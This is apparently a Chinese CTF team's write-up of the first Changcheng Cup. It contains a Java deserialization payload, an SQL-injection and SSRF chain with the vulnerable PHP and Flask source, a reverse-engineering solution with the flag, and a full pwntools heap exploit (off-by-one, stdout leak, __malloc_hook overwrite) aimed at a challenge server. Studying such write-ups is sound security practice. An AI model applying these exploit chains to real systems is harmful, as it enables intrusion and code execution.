HVV结束后的第一场CTF~
点击上方
关注我们
成功晋级决赛,全国线上排名11
(Xenc师傅不在,web没有ak)
Web-ezjava
jd-gui反编译jar包可以看源码
找到Hello类中的关键函数
也找到属性配置
然后开始写java代码Encrypt里增加了一段加密实现:
主函数从网上抄了一段hashmap序列化代码
输出:
12wXVxsSaj0AeRCrkummuENOeFnuqLdUqQzYl0v32nzs-v_o74o_1IBkpDPz3wIH0-m4jQUnnD811YZFr8K6Uia4XF2cyzMgSWQGQKoT-jt0yT2iUuCid1vhGx7sbKrDMFiZgvi6p9R11KzgTOjZJy5zrkngiG9HK1bs4sbRuLIi4kEY_qu0QMBIX6l0ujkH49setY5FtCagC-L1-bVh9Mq-uKWpBwmChMxL4uq41ohiF1KtKHKegORl4K3akx9ho4i0amz3wzvrAam-ok584uYIzL8Qv-Jf32uT8oGDS-IiRMxyDU_gBe4UxZCJbYdwZQOHIsVdbYupFP4fkcrhpp2vdvBTDoM3jBzEedcHXqg=
然后直接post到/attack即可得到flag
Web-p&p
测试发现存在注入且有报错信息,然后又发现可以进行堆叠注入。以为跟强网杯很相识,但发现关键函数都已过滤,试了一堆后本以放弃。但扫目录发现有个adminisapi.php文件,打开如下
提示必须要admin_inner用户,所以必须要要将用户名改为admini_inner。查阅资料发现replace可以替换值
登陆进去后就是代码审计了
adminsapi.php
Notice: session_start(): A session had already been started - ignoring in /var/www/html/adminsapi.php on line 2
session_start();
error_reporting(0);
if($_SESSION['username']!='admin_inner'){
die("Only admin_inner");
}else if(isset($_GET['action'])){
$action = $_GET['action'];
}else{
show_source(__FILE__);
}
function curlNet($route,$payload=null){
$url = 'http://127.0.0.1:18888/'.$route;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
if($payload!==null){
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
return(@$result?$result:'false');
}
function curlNetAll($url,$payload=null){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HTTPHEADER);
if($payload!==null){
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
return(@$result?$result:'false');
}
switch ($action)
{
case "index":
$content = curlNet("index");
echo $content;
break;
case "download":
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="../internal.py');
$handle = fopen("../internal.py", 'rb');
while (!feof($handle) ) {
echo fread($handle, "1024");
}
fclose($handle);
break;
case "secrets":
$data = file_get_contents("php://input");
$data = json_decode($data,true);
if(!is_array($data)) die("don't try.");
$content = curlNet("secrets",json_encode(array($data)));
$res = @$content?$content:'false';
echo($res);
break;
case "curl":
$secrets = file_get_contents("/85ae29dcb6794b9747c04d09948f6480.txt");
$data = file_get_contents("php://input");
$data = json_decode($data,true);
if(!is_array($data)) die("don't try.");
if($secrets!==$data["secrets"]) die("get the secrets first");
$url = $data["url"];
$res = parse_url($url);
$ip = dns_get_record($res['host'], DNS_A)[0]['ip'];
if(stripos($ip,"127")||stripos($ip,"0.0.0")||stripos($ip,"@")||stripos($ip,"0x")) die("no!");
echo curlNetAll($url);
break;
default:
die("no others");
break;
}
internal.py
from flask import Flask,request
import json
app = Flask(__name__)
'/') .route(
'/index') .route(
def home():
return "admin's api"
'/secrets', methods=['GET', 'POST']) .route(
def secrets():
if request.method == 'POST':
myJson = json.loads(request.data)[0]
if(myJson['secrets'] in open('/85ae29dcb6794b9747c04d09948f6480.txt').read().split('n')):
return json.dumps(True)
else:
return json.dumps(False)
else:
return "nothing"
500) .errorhandler(
def internal_error(error):
return str(open('/85ae29dcb6794b9747c04d09948f6480.txt').read().split('n'))
'/flag', methods=['GET', 'POST']) .route(
def flag():
return str(open('/flag').read().split('n'))
app.run(host='127.0.0.1', port=18888)
从adminsapi.php文件中的Case"curl"上可以得出只要有密钥就可以进行任意文件读写。而要想得到密钥需要看internal.py文件,从上面代码得到只要出现报错,那么就可以得到
85ae29dcb6794b9747c04d09948f6480.txt 而key就在这个txt文件里面
所以我们只需要在secrets上传入个空数组,在经过php后解密加密后到达python,而json.loads那个加载后获取 myJson[‘secrets’] 因为没有这个值所以会报错进入500而返回secret
Re-魔鬼凯撒的RC4茶室
这里是凯萨加密
得到第一部分flag
f0rget_h13_th1ng3}
输入后继续后面的加解密菜单:
解密部分好像与XTEA和凯撒没啥关系,穷举得到异或的字节为0xde
最终得到flag为:
flag{x1aom1ng_1s_3o_easy_f0rget_h13_th1ng3}
04
Pwn-K1ng_in_h3Ap_I
BUG有两处:
edit里输入字符串可以越界
delete后没有置0
exp代码如下:
# coding: utf-8
from PwnContext import *
context.log_level = "debug"
ctx.binary = './pwn'
ctx.remote = ('47.104.190.157', 26840)
ctx.custom_lib_dir = '/home/test/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/'
e=ELF(ctx.custom_lib_dir+'libc.so.6')
gadgets=one_gadgets(ctx.custom_lib_dir+'libc.so.6')
#ctx.remote_libc = './libc.so.6'
#e=ctx.remote_libc
stdout=e.symbols['_IO_2_1_stdout_']
stdin=e.symbols['_IO_2_1_stdin_']
malloc_hook=e.symbols['__malloc_hook']
realloc=e.symbols['realloc']
free_hook=e.symbols['__free_hook']
puts=e.symbols['puts']
system=e.symbols['system']
printf=e.symbols['printf']
binsh=next(e.search(b'/bin/sh'))
ctx.breakpoints = [0xccb,0xc04]
ctx.debug_remote_libc = True
#ctx.start()
ctx.start('remote')
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ' '))
uu64 = lambda data :u64(data.ljust(8, ' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def add(index,size):
sla(">>","1")
sla("index:",str(index))
sla("size:",str(size))
def delete(index):
sla(">>","2")
sla("index:",str(index))
def edit(index,name):
sla(">>","3")
sla("index:",str(index))
sla("input context:",name)
sla(">>","666")
ru("n")
p_addr=int(ru("n"),16)
leak('printf @',p_addr)
fakeoffset=(p_addr-(printf&0xffffff)+stdout-0x43)&0xffffff #_IO_write_ptr偏移
leak('fakeoffset',fakeoffset)
add(0,0x68) #0
add(1,0x58) #1
add(2,0x68) #2
add(3,0x18) #3
delete(2)
edit(0,'a'*0x68+'xd1') #off by one
delete(1)
add(4,0x58)
edit(2,p32(fakeoffset)[:3]+'n')
add(5,0x68)
ctx.debug()
add(6,0x68)
edit(6,p64(0)*6+'x00'*3+p64(0xfbad1800)+p64(0)*3+"x00n")
buf=ctx.recvuntil("x7fx00x00x01x00x00x00x00",timeout=1)[-13:-7]
if len(buf)<6:
error("Leak libc_base failed")
addr=u64(buf.ljust(8,'x00'))
leak('addr',addr)
libc_base=((addr-stdin)&0xfffffffff000)
success('libc_base:'+hex(libc_base))
delete(5)
edit(2,p64(libc_base+malloc_hook-0x23)+'n')
add(7,0x68) #7
add(8,0x68) #8
edit(8,'x00'*11+p64(libc_base+gadgets[1])+p64(libc_base+realloc+0x8))
delete(4)
add(9,0x58)
ctx.interactive()
本文始发于微信公众号(IDLab):第一届长城杯网络安全大赛WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论